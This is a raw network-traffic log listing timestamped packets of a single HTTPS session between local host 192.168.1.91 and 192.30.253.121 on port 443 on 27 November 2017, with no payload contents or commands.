Nov 27, 2017 12:34:50.728621006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.728729010 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.730185032 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.735713959 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.735738993 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.735749960 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.736377001 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.740756989 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.747000933 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.748862982 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.754096031 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.754120111 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.754137039 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.755115032 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.761379004 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.768662930 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.768687010 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.768827915 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.768856049 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.798638105 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.798664093 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.798690081 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.798803091 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.798821926 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.805953026 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.805989027 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.806181908 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.806199074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.827491045 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.827517033 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.827625990 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.827642918 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.845060110 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.845084906 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.845194101 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.845216036 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.873733997 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.873761892 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.873773098 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.875740051 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.875757933 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.883543968 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.883568048 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.883668900 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.883682966 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.908827066 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.908858061 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.909193039 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.909209967 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.928973913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.929033995 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.929132938 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.929147005 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.974163055 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.974214077 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.974221945 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.974414110 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.974431992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.974473000 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.984714031 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.984744072 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:50.985250950 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:50.985269070 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.048584938 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.048612118 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.048743010 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.048758984 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.108228922 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.108264923 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.108488083 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.108503103 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.170752048 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.170785904 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.170799971 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.170933962 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.170949936 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.185261965 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.185293913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.185427904 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.185446978 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.213213921 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.213535070 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.213557959 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.227338076 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.227371931 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.227479935 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.227494001 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.253247023 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.253284931 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.253518105 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.253544092 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.271337032 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.271666050 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.271692991 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.279349089 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.279396057 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.279694080 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.279719114 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.297020912 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.297055006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.297183990 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.297211885 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.314613104 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.314800978 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.314815044 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.318275928 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.318428040 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.318444014 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.340527058 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.340559006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.340703964 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.340718031 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.389663935 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.389691114 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.389699936 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.389822960 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.389839888 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.402849913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.402894974 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.403101921 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.403122902 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.410012007 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.410051107 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.410348892 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.410377026 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.427822113 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.427856922 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.428018093 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.428037882 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.450129032 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.450162888 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.450279951 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.450299025 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.472973108 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.473014116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.473258018 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.473282099 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.497419119 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.497447968 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.497565985 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.497605085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.504328012 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.504515886 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.504560947 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.516375065 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.516402006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.516525030 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.516545057 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.533785105 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.533804893 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.534216881 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.534245968 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.557635069 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.557660103 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.557941914 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.557965040 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.590764999 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.590794086 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.590810061 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.590908051 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.590935946 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.597704887 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.597728968 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.597798109 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.597820044 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.619422913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.619463921 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.619712114 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.619749069 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.635317087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.635360956 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.635555983 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.635734081 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.635778904 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.637284040 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.652401924 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.659457922 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.659503937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.659846067 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.659908056 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.667957067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.667987108 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.668167114 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.668199062 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.690573931 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.690604925 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.690613031 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.690751076 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.690779924 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.697508097 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.697540045 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.697657108 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.697680950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.720477104 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.720494032 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.720510006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.720623970 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.720653057 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.730309010 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.730328083 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.730458975 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.730519056 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.751084089 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.751111031 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.751250029 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.751251936 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.751312971 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.753186941 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.762382984 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.762406111 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.762578964 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.764064074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.764086962 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.764172077 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.768886089 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.777786970 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.777925014 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.777982950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.782140017 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.782171011 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.782257080 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.782289982 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.786003113 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.786030054 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.786186934 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.786221027 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.792562008 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.792589903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.792867899 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.792891979 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.803931952 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.803960085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.804008007 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.804027081 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.808487892 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.808505058 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.808599949 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.808634043 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.819705009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.819746971 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.820039988 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.820084095 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.825719118 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.825737000 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.825809956 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.825829983 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.833435059 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.833446980 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.833641052 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.833655119 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.833949089 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.834100962 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.834116936 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.844268084 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.844295979 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.844443083 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.844464064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.850111008 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.850122929 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.850438118 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.850454092 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.859972954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.860002995 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.860068083 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.860086918 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.860191107 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.864628077 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.864660025 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.864675999 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.864901066 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.864923000 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.872319937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.872351885 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.872407913 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.872428894 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.872541904 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.872561932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.872670889 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.872687101 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.876127005 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.876157999 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.876211882 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.876231909 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.882215023 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.882222891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.882322073 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.882340908 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.885246992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.885320902 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.885338068 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.885387897 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.885407925 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.885481119 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.885495901 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.889358044 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.889385939 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.889909029 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.889925003 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.897794008 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.897820950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.897924900 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.897949934 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.916112900 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.916146040 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.916173935 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.916229010 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.916250944 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.924810886 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.924860954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.924966097 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.924982071 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.925096989 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.931806087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.931920052 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.931935072 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.932111979 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.943048000 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.943110943 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.943133116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.943286896 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.954528093 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.954575062 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.954585075 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.954869986 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.954971075 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.964453936 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.964488983 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.964792967 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.964842081 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.969108105 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.969398022 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.969446898 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.969618082 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.969638109 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.969715118 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.969739914 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.980099916 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.980138063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.980438948 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.980485916 CET	443	49167	192.30.253.121	192.168.1.91
